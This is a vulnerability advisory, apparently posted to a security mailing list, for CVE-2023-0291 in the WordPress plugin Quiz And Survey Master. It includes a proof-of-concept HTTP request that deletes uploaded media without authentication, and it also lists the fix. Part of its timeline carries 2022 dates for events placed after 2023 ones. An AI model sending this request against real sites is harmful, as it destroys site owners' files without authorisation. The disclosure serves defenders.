From: “Julien Ahrens (RCE Security)” <info () rcesecurity com>
Date: Wed, 8 Feb 2023 08:11:37 +0000
RCE Security Advisory https://www.rcesecurity.com 1. ADVISORY INFORMATION ======================= Product: Quiz And Survey Master Vendor URL: https://wordpress.org/plugins/quiz-master-next/ Type: Missing Authentication for Critical Function [CWE-306] Date found: 2023-01-13 Date published: 2023-02-08 CVSSv3 Score: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N) CVE: CVE-2023-0291 2. CREDITS ========== This vulnerability was discovered and researched by Julien Ahrens from RCE Security. 3. VERSIONS AFFECTED ==================== Quiz And Survey Master 8.0.8 and below 4. INTRODUCTION =============== Quiz and Survey Master is the easiest WordPress Quiz Plugin which can be used to create engaging content to drive traffic and increase user engagement. Everything from viral quiz, trivia quiz, customer satisfaction surveys to employee surveys. This plugin is the ultimate marketing tool for your website. (from the vendor's homepage) 5. VULNERABILITY DETAILS ======================== The plugin offers the ajax action "qsm_remove_file_fd_question" to unauthenticated users which accepts a "media_id" parameter pointing to a any item uploaded through WordPress' media upload functionality. However, this "media_id" is afterward used in a forced wp_delete_attachment() call ultimately deleteing the media from the WordPress instance. Successful exploits can allow an unauthenticated attacker to delete any (and all) uploaded WordPress media files. 6. PROOF OF CONCEPT =================== The following Proof-of-Concept would delete the uploaded media with the ID "1": POST /wp-admin/admin-ajax.php HTTP/2 Host: localhost Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 Accept-Encoding: gzip, deflate Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 Content-Type: application/x-www-form-urlencoded Content-Length: 44 action=qsm_remove_file_fd_question&media_id=1 7. SOLUTION =========== Update to version 8.0.9 8. REPORT TIMELINE ================== 2023-01-13: Discovery of the vulnerability 2023-01-13: Wordfence (responsible CNA) assigns CVE-2023-0291 2023-01-18: Sent initial notification to vendor via contact form 2022-01-18: Vendor response 2022-01-21: Vendor releases version 8.0.9 which fixes the vulnerability 2022-02-08: Public disclosure 9. REFERENCES ============= https://github.com/MrTuxracer/advisories -- Mit freundlichen Grüßen / With best regards / Atentamente Julien Ahrens Freelancer | Penetration Tester RCE Security VAT-ID: DE328576638 Website: www.rcesecurity.com This e-mail may contain confidential and/or privileged information. If you are not the intended recipient (or have received this e-mail in error) please notify the sender immediately and destroy this e-mail. Any unauthorized copying, disclosure or distribution of the material in this e-mail is strictly forbidden.
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